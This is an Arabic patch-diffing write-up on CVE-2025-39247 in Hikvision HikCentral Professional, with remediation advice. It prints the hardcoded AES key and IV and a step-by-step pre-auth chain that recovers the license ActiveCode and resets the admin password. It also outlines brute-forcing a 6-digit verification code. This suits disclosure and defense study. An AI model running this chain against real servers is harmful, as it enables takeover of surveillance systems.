
HikCentral Professional - تسريب ActiveCode الرخصة قبل المصادقة
قبل تنزيل أي شيء، ما هو متاح للعموم بالفعل:
| المصدر | ما يخبرنا به |
|---|---|
| نشرة أمان Hikvision | "فحوصات مصادقة مفقودة على نقاط النهاية API"، نصيحة بالترقية إلى V2.6.3 / V3.0.1 |
| NVD CVE-2025-39247 | مقاييس CVSS؛ المتجه شبكي، لا مصادقة، نطاق متغير، سرية عالية |
| ملخصات Wiz, ZeroPath, SentinelOne, OffSeq, gbhackers, cybersecuritynews | جميعها تعيد صياغة النشرة؛ لا تفاصيل فنية، ولا PoC، ولا نقطة نهاية متأثرة مسماة |
| مجمعات PoC على GitHub (poc-in-github, 0xMarcio/cve, إلخ) | لا يوجد PoC مفهرس |
| المنتديات (ipcamtalk, cctvforum, reddit)، مفهرسات التورنت | لا PoC، ولا مُثبّتات مسربة؛ في ipcamtalk يوجد موضوع حول استخدام HikCentral لكن لا شيء متعلق بالاستغلال |
إذاً، حتى تاريخ التحليل، لا يوجد أي مستند فني عام يكشف الثغرة. أي عملية إعادة إنتاج تبدأ من المقارنة الثنائية.
بعد نشر CVE-2025-39247 تم إلغاء إدراج صفحة تنزيل V2.6.2، لكن الملف على CDN لم يُحذف أبداً. يمكن استرداد اسم الملف من مرآة خارجية قامت بفهرسة الصفحة قبل الإلغاء (FileHorse — نشر اسم الملف وMD5). بهذا الاسم، يكفي طلب GET بسيط إلى CDN الخاص بـ Hikvision — باستخدام User-Agent عادي للمتصفح ورأس Referer مطابق — ليبقى الملف متاحاً.```bash
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0"
-H "Referer: https://www.hikvision.com/en/support/download/software/hikcentral-professional-v2-6-2/"
-O
"https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.202501211507_Win_x64_Installer.exe"
النتيجة:
- الحجم: 1,314,043,792 بايت (1.22 جيجابايت)
- MD5: `76d42e7cb16dc0e177b9a35d0fed7ced` — يطابق القيمة المنشورة من FileHorse، مما يؤكد أن المثبت موقع من Hikvision (وليس إعادة حزم من طرف ثالث)
- رؤوس استجابة CDN: `HTTP/2 200`, `content-type: application/x-msdownload`, `eo-cache-status: HIT`, `age: 2520395` (حوالي 29 يومًا في ذاكرة التخزين المؤقت للحافة لـ Tencent EdgeOne دون إخلاء)
**ملاحظة جانبية تستحق الإبلاغ إلى Hikvision PSIRT:** إن "إزالة القائمة" لصفحة V2.6.2 هي تجميلية. الملف المهجور يمكن الوصول إليه على CDN دون مصادقة ودون بوابة URL موقعة. الحزم الكاملة V2.5.1 و V2.6.0 تستجيب بنفس الطريقة.
### 2.2 المثبت المصحح (الحزمة الأساسية V2.6.3)
مرتبط حاليًا من صفحة تنزيل V2.6.3؛ نفس طريقة الاسترجاع:```
https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-3/HikCentral-Professional_Base-Pack_V2.6.3.202508280142_Win_x64_Installer.exe
لا يزال مرتبطًا من صفحة تنزيل V2.6.2 (تريد Hikvision من المستخدمين تطبيقه):``` https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/cve-2025-39247-security-vulnerability-patch/HikCentral-Professional_CVE-2025-39247_FixPack_V2.3.1-V2.6.2V3.0.0_20250904.exe
- الحجم: 32,599,504 بايت (31 ميجابايت)
---
## 3. الاستخراج الثابت
جميع الثلاثة عبارة عن أغلفة PE من نمط InstallShield. يقوم `7z` بتقشيرها في خطوتين:```bash
# pass 1 — extract PE resources
7z x -o./extracted/v262/pe downloads/<v2.6.2 installer>
7z x -o./extracted/v263/pe downloads/<v2.6.3 installer>
# pass 2 — extract the nested 7-Zip streams hiding in PE resources
# (note: the resource-type label says "ZIP" but the byte signature is 7-Zip)
for ver in v262 v263; do
for z in extracted/$ver/pe/.rsrc/2052/ZIP/*; do
sz=$(stat -c %s "$z"); [ "$sz" -lt 1048576 ] && continue
7z x -o"extracted/$ver/payload/$(basename $z)" "$z"
done
done
كلا المثبتين يتوسعان إلى حوالي أربعة وعشرين أرشيف حمولة مُسمى. تكشف أدلة المستوى الأعلى عن البنية:
الأهم من ذلك، لا توجد ملفات JARs/WARs لجافا في أي مكان. الخلفية هي C++ على Nginx — مهم لأنه يخبرك مقدمًا أن أي ثغرة في المصادقة ستكون في الثنائيات المُجمّعة، وليس في كود بايت WAR/JAR حيث يكون فك التجميع تافهًا.
for ver in v262 v263: find . -type f -print0 | xargs -0 md5sum | sort -k2 > inv_$ver.txt
v262 = {ln[34:]: ln[:32] for ln in open("inv_v262.txt")} v263 = {ln[34:]: ln[:32] for ln in open("inv_v263.txt")} common = set(v262) & set(v263) changed = [p for p in common if v262[p] != v263[p]]
النتيجة: 239 ملفًا تم تغييرها في المسارات الشائعة. التوزيع:
| الجرافة | العدد | ملاحظة |
|---|---|---|
| `246/www/*.js` (أجزاء واجهة الويب) | ~200 | في الغالب تجزئة أصول محدثة الإصدار؛ تجاهل |
| `246/Nginx/conf/nginx_location.conf` | **1** | **فرق ملف تكوين Nginx أحادي الملف — ابدأ من هنا** |
| `246/Nginx*/install.bat` | 6 | نصوص التثبيت، غير متعلقة |
| `244/bin/*.{exe,dll}` | 6 | ثنائيات أصلية (`DistributionFilter.dll`, `FilterChain.dll`, أدوات الوسائط) |
| `282/*.{exe,dll}` | 55 | خدمات التطبيق (أكبر مجموعة — `platform.dll`, `PersonCredential.dll`, `baseacs.*`, …) |
| `240/bin/pg_*` | 6 | إعادة بناء Postgres، غير متعلقة |
| `284/hplugin/dahua_plugin/*` | 4 | تحديث SDK المورد (+10.97 MB) — غير متعلقة |
| `284/hplugin/onvif_plugin/*` | 4 | تحديث SDK المورد (+0.99 MB) — غير متعلقة |
| upgrade/uninstall stubs, crash reporters | ~30 | إعادة بناء طوابع زمنية PE بنفس الحجم، تجاهل |
بعد تصفية تحديث SDK المورد، وانجراف الطوابع الزمنية لنظام البناء، والارتفاعات التجميلية البحتة للأصول، فإن الفروقات *الفعلية* ذات الصلة بالأمن تقل إلى:
- ملف تكوين Nginx واحد
- عدد صغير من الثنائيات C++ في `282/` (أبرزها `platform.dll`، خدمة الخلفية HCMP، +57 KB)
---
## 5. فرق Nginx: موقع الخلل بدون تكلفة
`diff -u nginx_location.conf` بين V2.6.2 و V2.6.3 ينتج بالضبط رقعة واحدة: كتلة `location =` جديدة تمامًا في V2.6.3.```nginx
#禁止非127.0.0.1和::1的重置密码 ← "Forbid non-127.0.0.1/::1 password reset"
location = /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword {
if ($remote_addr ~ ^(127\.0\.0\.1|::1)$) { set $allowed 1; }
if ($allowed != "1") { return 403; }
if ($scheme = "http") { proxy_pass http://http_backend; }
if ($scheme = "https") { proxy_pass http://http2_backend; }
}
هذه الإضافة المكونة من 21 سطرًا هي التصحيح الكامل لـ CVE-2025-39247 على مستوى البوابة الأمامية، وهي تخبرك بكل شيء:
PUT /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword/ISAPI/Bumblebee/Platform/V0/* إلى الواجهة الخلفية بدون تقييد لعنوان البعيد وبدون فحص مصادقة على مستوى Nginx.التعليق الصيني مهم: ترجمته الحرفية هي "منع إعادة تعيين كلمة المرور من غير 127.0.0.1/::1".
JavaScript واجهة المستخدم للويب (مصغرة، في 246/www/Portal/*.js) تستدعي نقطة النهاية كالتالي:```js
// API definition (de-minified):
changeDefaultUserPassword: function (sid, payload, opts) {
return http.put({
url: "ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword",
data: { ChangeDefaultUserPasswordRequest: payload },
params: { SID: sid }
}, opts);
}
// Call site: changeDefaultUserPassword(n.SID, { UserName: form.userName, // "admin" Password: jsEncrypt.encrypt(form.newPassword), // RSA-PKCS1v15 ActiveCode: form.activeCode ? jsEncrypt.encrypt(form.activeCode) : "", QuestionList: questionAnswers // [{ID, Answer}, …] or [] }, ...);
// The RSA pubkey comes from another unauthenticated endpoint: getCrypto: function () { http.get({ url: "ISAPI/Bumblebee/Platform/V0/Security/Crypto" }); } // returns: { CryptoKey: <PEM/base64 RSA pubkey>, ... }
لذا حتى قبل تفكيك أي شيء، يمنحك JavaScript المواجه للعموم الشكل الكامل للأسلاك. لكنه يكشف أيضًا الجزء المحرج: يحتاج جسم الطلب **إما `ActiveCode` صالحًا أو إجابات `QuestionList` صحيحة**. إرسال قيم فارغة لا يعمل — يرفض الخلفي مع أحد الأخطاء الموثقة (تم التحقق منه بواسطة استخراج النصوص من `platform.dll`، §7).
لذا فإن CVE-2025-39247 **ليس** عبارة عن "نقطة النهاية هي تجاوز المصادقة؛ أرسل حقولًا فارغة وتتغير كلمة المرور". بل هو "نقطة النهاية *تثق بمتصل محلي فقط* ليكون لديه بالفعل ActiveCode الصحيح؛ الخلل هو أن بوابة localhost على مستوى الشبكة مفقودة، لذا فإن أي *متصل عن بُعد* يمكنه *أيضًا* توفير ActiveCode صالح أو QuestionList ينجح." وبالتالي فإن لغز الاستغلال الحقيقي هو: من أين يأتي ActiveCode أو QuestionList؟
## 7. معالج الخلفي — استخراج النصوص من `platform.dll`
`platform.dll` هي خدمة الخلفية لـ HCMP، بحجم 46.87 ميجابايت في الإصدار V2.6.2، و46.93 ميجابايت في الإصدار V2.6.3 (+57 كيلوبايت). جميع سلاسل التوجيه، وسلاسل تنسيق السجل، وسلاسل RTTI و `__FUNCTION__` الخاصة بـ C++ موجودة بشكل واضح.
السلاسل داخل `platform.dll` حول المعالج:```
VSMPlatform::CCmd::Security_ChangeDefaultUserPassword
..\..\src\vsmplatform\NetworkComm\ISAPI\CmdHandle\SecurityCmd.cpp
/ChangeDefaultUserPasswordRequest/UserName
/ChangeDefaultUserPasswordRequest/Password
/ChangeDefaultUserPasswordRequest/ActiveCode
/ChangeDefaultUserPasswordRequest/CryptoKey
/ChangeDefaultUserPasswordRequest/QuestionList
/ChangeDefaultUserPasswordRequest/QuestionList[%d]/Answer
[%s]IP=[%s] Reqest Paramter active_code and security_question both empty!
[%s]invalid active_code=%s
[%s]security question verify fail
[%s]IP=[%s] Isn't Super User!
[%s]IP=[%s] User Not Exist!
[%s]RSADecrypt fail! err_code=%d session=%s encrypt_str_id=%s encrypt_answer=%s
[%s] ChangeDefaultUserPassword by ip[%s].
كلا الإصدارين من platform.dll يحتويان على هذه السلاسل. لذا فإن منطق التحقق موجود أيضًا في الإصدار V2.6.2 — يتم التحقق من ActiveCode و QuestionList فعلًا.
السلاسل الموجودة في platform.dll للإصدار V2.6.3 و غير الموجودة في الإصدار V2.6.2:```
VSMPlatform::CRetrievePwdByQuesFreezeManager::AddAccountLoginFailCount VSMPlatform::CRetrievePwdByQuesFreezeManager::ClearAccountFreeze VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountFreezeSurplusCount VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountLockRemainingFreezeTime VSMPlatform::CRetrievePwdByQuesFreezeManager::IsAccountFreeze ....\src\vsmplatform\Authentication\UserLogin\Freeze\RetrievePwdByQuesFreezeManager.cpp [%s]AddAccountLoginFailCount only admin can lock, but id: %d
127.0.0.1
admin
VSMPlatform::CCmd::CheckToken /ResponseStatus/Data/TokenValid [%s]token = %s, session = %s
/ResponseStatus/Data/RetrievePasswordResult/RemainingNumber /ResponseStatus/Data/RetrievePasswordResult/LockRemainTime /ResponseStatus/Data/RetrievePasswordResult/RemainingType
الترجمة: لم يكن لدى الإصدار V2.6.2 **أي** حد لمعدل الطلبات على مسار التحقق من `ChangeDefaultUserPassword`. المهاجم الذي يقدم رمز ActiveCode خاطئ أو إجابات خاطئة لأسئلة الأمان يتلقى خطأ فقط ويمكنه إعادة المحاولة إلى أجل غير مسمى. سلسلة تنسيق رمز التحقق `%06d` موجودة أيضًا في `platform.dll` (إلى جانب مخطط SQL `verify_code VARCHAR(64)`)، مما يؤكد أن رمز التحقق عبر البريد الإلكتروني هو **رقم عشري مكون من 6 أرقام**، ومساحة البحث 10⁶.
هذا بالفعل استغلال قابل للتطبيق (المسار أ): تشغيل `SendVerifyCode`، ثم تخمين شامل لـ 10⁶ رمز داخل نافذة الصلاحية دون أي إقفال. عند 1000 طلب/ثانية، متوسط الوقت حتى النجاح ≈ 8 دقائق. ولكن هناك مسار أكثر حدة.
---
## 8. سطح كشف المعلومات قبل المصادقة
يكشف تعداد نقاط النهاية في `platform.dll` عن عدة نقاط شقيقة تبدو ذات صلة:```
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrieveStateInfo
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrievePasswordWithName
/ISAPI/Bumblebee/Platform/V0/Permission/Users/SendVerifyCode
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestion
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestionCheck
/ISAPI/Bumblebee/Platform/V0/Security/Crypto
/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode
لا شيء من هذه مُقيَّد بواسطة nginx_location.conf؛ جميعها تمر عبر نفس الوكيل الافتراضي /ISAPI/Bumblebee/Platform/*. تُظهر سلاسل المعالج ما تُرجعه:```
/ResponseStatus/Data/UserRetrieveStateInfo/Info/Email
/ResponseStatus/Data/UserRetrieveStateInfo/Info/Name
/ResponseStatus/Data/UserRetrieveStateInfo/Info/RetrieveType
/ResponseStatus/Data/UserRetrieveStateInfo/Info/RemainVerityCodeTimeout
/ResponseStatus/Data/UserRetrieveStateInfo/SystemMailSetted
/ResponseStatus/Data/UserRetrieveStateInfo/SecurityQuestionSetted
/ResponseStatus/Data/UserRetrieveStateInfo/AllowRetrieve
لذا فإن `RetrieveStateInfo(Name=admin)` يُرجع البريد الإلكتروني للمسؤول، وما إذا كان استرداد كلمة المرور عبر الأسئلة الأمنية مُهيأً، وما إذا كان استرداد كلمة المرور عبر البريد الإلكتروني مُهيأً، والعمر المتبقي لأي رمز تحقق قيد التنفيذ — لأي مستخدم، بدون مصادقة.
ليس `RetrieveStateInfo` محميًا بواسطة التصحيح V2.6.3. لا يزال تسرب المعلومات قائمًا في الإصدار V2.6.3.
---
## 9. سطح الهجوم المتعلق بالترخيص/رمز الاستجابة السريعة
النقطة النهائية `/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode` لافتة للنظر لأن اسمها يقرن *الترخيص* مع *رمز النشاط* — ومعالج إعادة تعيين كلمة المرور يقبل أيضًا حقل `ActiveCode`. هذا تداخل مشبوه في المصطلحات.
السلاسل النصية التي يمكن الوصول إليها من خلال هذا المعالج:```
License:%s;DZP:%s ← QR plaintext format
[%s]PrivateAESEncrptQRCode failed! data:%s ← AES path used to encrypt
[%s]Base64Encode failed! data:%s ← then base64
/ResponseStatus/Data/QRCode ← response field
https://www.hikvision.com/en/support/how-to/how-to-video/?SN=%s
إذن رمز QR هو Base64( AES-128-CBC-PKCS7( "License:<ActiveCode>;DZP:<DeviceCode>" ) ) والنص العادي يحتوي حرفيًا على رمز التفعيل الخاص بالتثبيت ActiveCode الذي يقوم نقطة نهاية إعادة تعيين كلمة المرور بالتحقق منه. يتم تغليف رمز QR في قالب URL https://www.hikvision.com/en/support/how-to/how-to-video/?SN=<base64-of-ciphertext> ثم يتم تحويله إلى صورة PNG للرمز QR؛ وصورة PNG هي ما يرجعه حقل استجابة JSON Data.QRCode.
التأكيد من خلال فرق الإصدار V2.6.3: سلسلة التنسيق License:%s;DZP:%s موجودة في V2.6.2 platform.dll وتم إزالتها في V2.6.3. نقطة نهاية رمز QR نفسها، ورمز الدالة PrivateAESEncrptQRCode، والقيمة الابتدائية IV (§10) كلها لا تزال موجودة في V2.6.3 — فقط تنسيق النص العادي المسرب تم إزالته. هذا بالضبط ما تتوقعه من إصلاح Hikvision.
هذه هي الخطوة الثقيلة العمل. الخطة:
VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode في platform.dll.سلسلة تنسيق الخطأ [%s]PrivateAESEncrptQRCode failed! data:%s موجودة في .rdata. ابحث عن عنوان VMA الخاص بها في .rdata، ثم امسح .text بحثًا عن تعليمات lea r, [rip + rel32] التي تحل إلى ذلك العنوان VMA. (بالنسبة لـ 16 ميغابايت من .text، يستغرق ذلك بضع ثوانٍ باستخدام pefile + capstone للقيام بالمسح الخطي لنمط REX.W + 8D + MODRM mod=00 rm=101.)
يتم الرجوع إلى سجل الخطأ من تعليمة واحدة بالضبط عند 0x1812553f7. بالانتقال إلى الدالة المحيطة عبر .pdata (جدول التراجع PE x64 — رأس المقطع قابل للتحليل باستخدام pefile، اثنا عشر بايت لكل إدخال RUNTIME_FUNCTION: start_RVA، end_RVA، unwind_RVA) نحصل على معالج ISAPI الخارجي CLicenseISAPIComm::ActiveCodeQRcode عند 0x181254cc0..0x181255919.
تلك الدالة الخارجية تبني سلسلة النص العادي "License:%s;DZP:%s" وتقوم بتشفير النتيجة base64؛ استدعاء AES الفعلي يكون في دالة مساعدة على مستوى واحد أقل، عند 0x18002a397 (يتم حلها عبر jmp thunk إلى دالة بحجم 502 بايت يكون سلسلة RTTI الخاصة بها VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode — تم تأكيدها من خلال cross-reference السلسلة).
0x1807d33e0تفكيك الجسم بحجم 502 بايت وسرد كل تعليمة lea r, [rip + rel32] التي يقع هدفها في .rdata يعيد فقط 5 مراجع سلسلة:```
0x1807d34d2 -> 0x18200b1b0 len=16 'AaBbCcDd1234!@#$' ← 16 bytes of letters/digits/symbols
0x1807d3516 -> 0x18200b1d0 len=48 '....\src\vsmplatform\Common\PrivateAESEncrypt\PrivateAESEncrypt.cpp'
0x1807d352a -> 0x18200b218 len=48 'VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode'
0x1807d3531 -> 0x18200b250 len=23 '[%s]error is %d[%s(%d)]'
0x1807d3538 -> 0x18200b268 len=23 'platform.PriorityLogger'
الإدخال الأول هو مرجع السلسلة الوحيد بطول 16 بايت. هذا الطول مريب: كتلة AES / المفتاح / IV كلها 16 بايت لـ AES-128. النص الحرفي `AaBbCcDd1234!@#$` — ثمانية أزواج من الحروف المتناوبة بين الكبيرة والصغيرة متبوعة بـ `1234!@#$` — هو أيضًا الشكل النصي "ثابت مكان المطور" (مشابه للاصطلاحات ASCII *الحقيقية* `BAADF00D` / `DEADBEEF`). في هذه المرحلة، الفرضية المعقولة هي "هذا هو IV".
هذه الفرضية مدعومة بسياق التفكيك. تسلسل التعليمات حول مرجع السلسلة:```asm
; ... build first 16 bytes of something into buffer at [rsp+0xc0] ...
mov dword ptr [rsp + 0x100], 5 ; some flag = 5
lea rdx, [rip + 0x1837cd7] ; <— loads "AaBbCcDd1234!@#$"
lea rcx, [rsp + 0xe0] ; destination
call <thunk> ; std::string assign-like; copies 16B into [rsp+0xe0]
mov dword ptr [rsp + 0x104], 1
lea rdx, [rsp + 0xa0] ; pass: rdx = key (16B at [rsp+0xa0])
lea rcx, [rsp + 0x60] ; pass: rcx = output buffer
call <encrypt-wrapper at 0x180007563> ; → 0x181b03790, a generic AES mode-dispatcher
; that imports AES_cbc_encrypt, AES_cfb128_encrypt,
; AES_ecb_encrypt and AES_ofb128_encrypt.
; QR path takes the AES_cbc_encrypt branch.
لذا [rsp+0xe0] ينتهي به الأمر بحمل بايتات IV، بينما يحمل [rsp+0xa0] 16 بايتًا تم بناؤها سابقًا في [rsp+0xc0] (المفتاح)، ثم يتم تمرير هذين المخزنين المؤقتين إلى غلاف OpenSSL. تأكيد استعادة IV هو مجرد مسألة تدقيق متقاطع: لا يزال platform.dll الخاص بالإصدار V2.6.3 يحتوي على النص الحرفي AaBbCcDd1234!@#$ في نفس الإزاحة — لم تقم Hikvision بتدوير IV، وهو الاختيار التشفيري الصحيح (فقط المفتاح يحتاج إلى أن يكون سريًا، بينما IV يحتاج إلى أن يكون فريدًا لكل رسالة، لكن IV ثابت هو "ضعيف" وليس "مكسور" بالطريقة التي يكون بها المفتاح الثابت "مكسورًا").
فوق stringref IV مباشرةً، يقوم الغلاف بإعداد المفتاح بهذا التسلسل القصير:```asm mov dl, 0x41 ; seed byte = 'A' lea rcx, [rsp + 0x140] ; this-pointer for a local buffer call <thunk 0x1800683fe> ; → 0x1807d19b0 (599-byte function) mov [rsp + 0x50], rax mov rdx, [rsp + 0x50] ; rdx = pointer to the 16-byte buffer the call just produced lea rcx, [rsp + 0xc0] call <std::string assign> ; copy the 16 bytes into the key buffer at [rsp+0xc0]
ثم تفكيك `0x1807d19b0`: إنها *دالة اشتقاق مفتاح حسابية بحتة*. تأخذ بايت واحد كمدخل (`0x41`)، تخصص 16 بايت في المكدس، وتكتب 16 قيمة كل منها محسوبة كـ `seed + offset_i` لتسلسل ثابت من 16 إزاحة مُوقّعة:```
+0x16, +0x36, +0x17, +0x37, +0x18, +0x38, +0x19, +0x39,
−0x10, −0x0F, −0x0E, −0x0D, −0x20, −0x01, −0x1E, −0x1D
باستخدام البذرة 0x41 ('A'):
Algorithm: AES-128-CBC with PKCS7 padding IV (16): 41 61 42 62 43 63 44 64 31 32 33 34 21 40 23 24 → AaBbCcDd1234!@#$ KEY (16): 57 77 58 78 59 79 5A 7A 31 32 33 34 21 40 23 24 → WwXxYyZz1234!@#$
نفس العائلة الحسابية. نفس البايتات الثمانية الختامية (`1234!@#$`). كلاهما ثوابت مضمنة ثنائية متطابقة عبر كل تثبيت للإصدار V2.6.2 (وعبر الإصدارات V2.3.1 .. V2.6.2 و V3.0.0 — فهي تشترك في مسار تشفير QR)، لذا فإن استردادًا لمرة واحدة من نسخة واحدة من `platform.dll` يكفي لفك تشفير رمز QR من أي خادم HCMP ضعيف على الشبكة.
---
## 11. السلسلة من النهاية إلى النهاية
تنقسم السلسلة بوضوح إلى نصفين:
- **النصفان 1-3** هما مشكلة **كشف معلومات** غير مصادق عليها في HCMP. يتم تشغيلهما ضد الهدف باستخدام طلبين للقراءة فقط ويستعيدان سرًا لكل تثبيت (رمز التفعيل النشط License ActiveCode) من نقطة نهاية ما قبل تسجيل الدخول.
- **النصفان 4-5** هما **الاستيلاء** الذي يتم عن طريق إرسال رمز التفعيل النشط المسترد إلى سير عمل "نسيت كلمة المرور" الشرعي لـ HCMP عبر واجهة الويب العادية. لا حاجة لطلب HTTP خاص — حيث ينقر المشغل على نفس النموذج الذي قد ينقر عليه المستخدم الشرعي.
الانقسام مهم: فهو يسمح بتنفيذ PoC المرجعي كأداة استطلاع نقية بدون أي مسار تعليمات برمجية مدمرة فيه (يظل سير عمل واجهة المستخدم مع بقاء الإنسان في الحلقة).```
HALF 1 — automated recon (recovers the ActiveCode):
1. POST /ISAPI/Bumblebee/Platform/V0/Security/Crypto?MT=GET (empty body)
(unauthenticated, read-only)
→ ResponseStatus.Data.CryptoResponse.{SID, CryptoKey, CryptoType, CryptoMode}
→ SID is a server-issued anonymous session token used by step 2.
2. POST /ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode?MT=GET&SID=<sid>
(empty body, unauthenticated, read-only)
→ ResponseStatus.Data.QRCode = base64( PNG image of a QR code )
The QR's payload is the URL template
https://www.hikvision.com/en/support/how-to/how-to-video/?SN=<b64>
where <b64> = base64(
AES-128-CBC-PKCS7(
KEY = WwXxYyZz1234!@#$,
IV = AaBbCcDd1234!@#$,
PT = "License:<code>[,<code>...];DZP:<devicecode>"))
The License field is a COMMA-SEPARATED LIST of one or more ActiveCodes
(one per licensed module on the target). Any single ActiveCode in
that list is accepted by the takeover workflow in HALF 2.
3. Locally:
a. base64-decode the QRCode field → PNG bytes
b. decode the QR (e.g. pyzbar) → URL string
c. extract the SN= parameter (DO NOT use form-decode — '+' is a valid
base64 character that must survive verbatim)
d. base64-decode → 16N bytes of AES ciphertext
e. AES-128-CBC decrypt with the hardcoded KEY+IV, PKCS7-unpad
f. split on "License:" / "," / ";DZP:"
→ list of ActiveCodes in plaintext.
HALF 2 — manual takeover via the legitimate Web UI:
4. Open https://<target>:<port> in a browser.
5. Click «Forgot password».
6. Username → admin
7. Recovery method → «Activation code» (NOT email / questions)
8. Activation code → <one of the recovered ActiveCodes>
9. Choose & confirm a new admin password.
10. Log in as admin with the new password.
لا يوجد هجوم بالقوة الغاشمة، ولا هندسة اجتماعية، ولا معرفة مسبقة باستثناء زوج KEY+IV المكون من 16 بايت والذي يمكن استعادته مرة واحدة من ملف platform.dll لإصدار V2.6.2 وهو متطابق عبر كل تثبيت لكل إصدار ضعيف. يتم تنفيذ النصفين 4-10 يدويًا بواسطة المشغل عبر واجهة المستخدم الشرعية — لا يوجد مكافئ آلي في PoC المرجعي.
التنفيذ: poc/cve_2025_39247_poc.py — وهي أداة استطلاعية فقط مكتوبة بلغة Python. تقوم بتنفيذ النصف 1 (طلبين POST للقراءة فقط قبل المصادقة) ثم تطبع الوصفة اليدوية (الخطوات 4-10) مع عنوان URL الهدف للمشغل و ActiveCode(s) المستردة مملوءة. لا يحتوي السكريبت على أي كود يكتب إلى الهدف؛ يتم تنفيذ النصف 2 يدويًا عبر واجهة الويب بحيث تظل الأداة أداة تحقق بدلاً من سلاح إطلاق ونسيان.
تشغيل:```bash python3 poc/cve_2025_39247_poc.py https://:
يسمح علمان `--qr-*` للبرنامج النصي بالعمل بالكامل دون اتصال بالإنترنت ضد QR ممسوك (للتحليل دون إعادة استهداف):
- `--qr-scanned-text '<value>'` — الصق النص المحتوى من QR ممسوح ضوئيًا
- `--qr-ciphertext-hex <hex>` — تغذية نص مشفر AES مستخرج مسبقًا ومفكوك ترميز base64
---
## 12. ما الذي غيره الإصدار V2.6.3 (وحزمة الإصلاح) فعليًا
| الدفاع | V2.6.2 | V2.6.3 | حزمة الإصلاح على V2.6.2 |
|---|---|---|---|
| تقييد remote-addr في Nginx على `ChangeDefaultUserPassword` | غائب | **مُضاف** | **مُضاف** (عبر برنامج InstallShield النصي في ملف EXE لحزمة الإصلاح — مؤكد بواسطة السلاسل النصية `\VSM Servers\Web Service\Nginx\conf\nginx_location.conf` / `_bak.conf` داخل محرك تثبيت حزمة الإصلاح) |
| فحص حرفي `127.0.0.1` على مستوى التطبيق في المعالج | غائب | **مُضاف** | لم يُضاف (حزمة الإصلاح لا تصحح `platform.dll`) |
| قفل لكل حساب (`CRetrievePwdByQuesFreezeManager`) | غائب | **مُضاف (للمسؤول فقط)** | لم يُضاف |
| خطوة التحقق من `CheckToken` | غائب | **مُضاف** | لم يُضاف |
| نص QR العادي يحتوي على `License:<ActiveCode>;DZP:...` | نعم | **مُزال** | لم يتغير (حزمة الإصلاح لا تصحح `platform.dll`) |
| مفتاح QR AES | قابل للاستخراج من الملف الثنائي | مُدَوَّر *أو* غير مستخدم (يعتمد على ما إذا كان تغيير تنسيق النص العادي قد جعل المسار ميتًا) | تم تدويره عبر `wbaes_key_dec` + مفكك ترميز whitebox-AES في حزمة الإصلاح |
| متجه تهيئة QR AES | `AaBbCcDd1234!@#$` | لم يتغير | لم يتغير |
| كشف معلومات `RetrieveStateInfo` | يتسرب | **لا يزال يتسرب** | لا يزال يتسرب |
| `GetSecurityQuestionCommBeforeLogin` | يتسرب | **لا يزال يتسرب** | لا يزال يتسرب |
| مثبّت ضعيف يمكن الوصول إليه على CDN هيكفيجن | نعم | نعم | نعم |
ترسل حزمة الإصلاح جزءًا متحركًا إضافيًا لا يحتاجه إصدار V2.6.3: أداة فك تشفير **whitebox-AES** (`wbext_dec.exe`، مسار المصدر يتسرب `D:\Workspace\SVN\WhiteBox\trunk\apps\src\ossl_aes.c`، تستخدم ثابت `fixed_iv_16byte` الخاص بها) بالإضافة إلى نص مشفر **AES-128-CFB بطول 244 بايت** (`wbaes_key_dec`). تأخذ أداة فك التشفير كتلة النص المشفر وتنتج مفتاحًا عاديًا جديدًا، والذي يكتبه مثبّت حزمة الإصلاح في تخزين HCMP لتدوير مفتاح QR المضمن في الملف الثنائي على تثبيتات V2.6.2 الحالية. يُستخدم Whitebox-AES هنا فقط لجعل المفتاح المُدَوَّر غير مناسب لاستخراجه مرة أخرى من الأثر التصحيحي عن طريق الفحص — نفس الأسلوب الدفاعي المستخدم بواسطة أنظمة إدارة الحقوق الرقمية (DRM).
---
## 13. إجراءات المعالجة الموصى بها (بخلاف التصحيحات الصادرة)
1. **قم بتنظيف ملفات التثبيت الثنائية المهجورة من CDN.** لا يزال `…/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.…exe` يخدم HTTP/2 200 مع ضربة ذاكرة تخزين مؤقت قديمة لمدة 29 يومًا. الأمر نفسه صحيح بالنسبة لـ V2.6.0 و V2.5.1 وما إلى ذلك — كل مثبت في النطاق الضعيف لا يزال يمكن الوصول إليه عبر رابط مباشر. إزالة القائمة على مستوى الصفحة تجميلية.
2. **قم بتوثيق `RetrieveStateInfo` و `GetSecurityQuestionCommBeforeLogin`.** كلاهما يسرب البريد الإلكتروني للمسؤول وبيانات تعريف تكوين الاسترداد إلى المتصلين المجهولين في V2.6.3 أيضًا؛ لم يتم لمس أي منهما بواسطة الإصلاح.
3. **توقف عن استخدام الثوابت النائبة ASCII كمادة مفتاح تشفير.** `WwXxYyZz1234!@#$` هو نوع القيمة الذي ينجو من "مراجعة الكود بالتخطي". استبدله بمادة عشوائية لكل تثبيت في أول تشغيل؛ إذا كانت التوافقية الخلفية تتطلب احتياطيًا مضمنًا في الملف الثنائي، فاشتققه على الأقل من تجزئة لحالة خاصة بالتثبيت (معرف الجهاز الفريد، طابع زمني للتثبيت) بحيث يختلف لكل نشر.
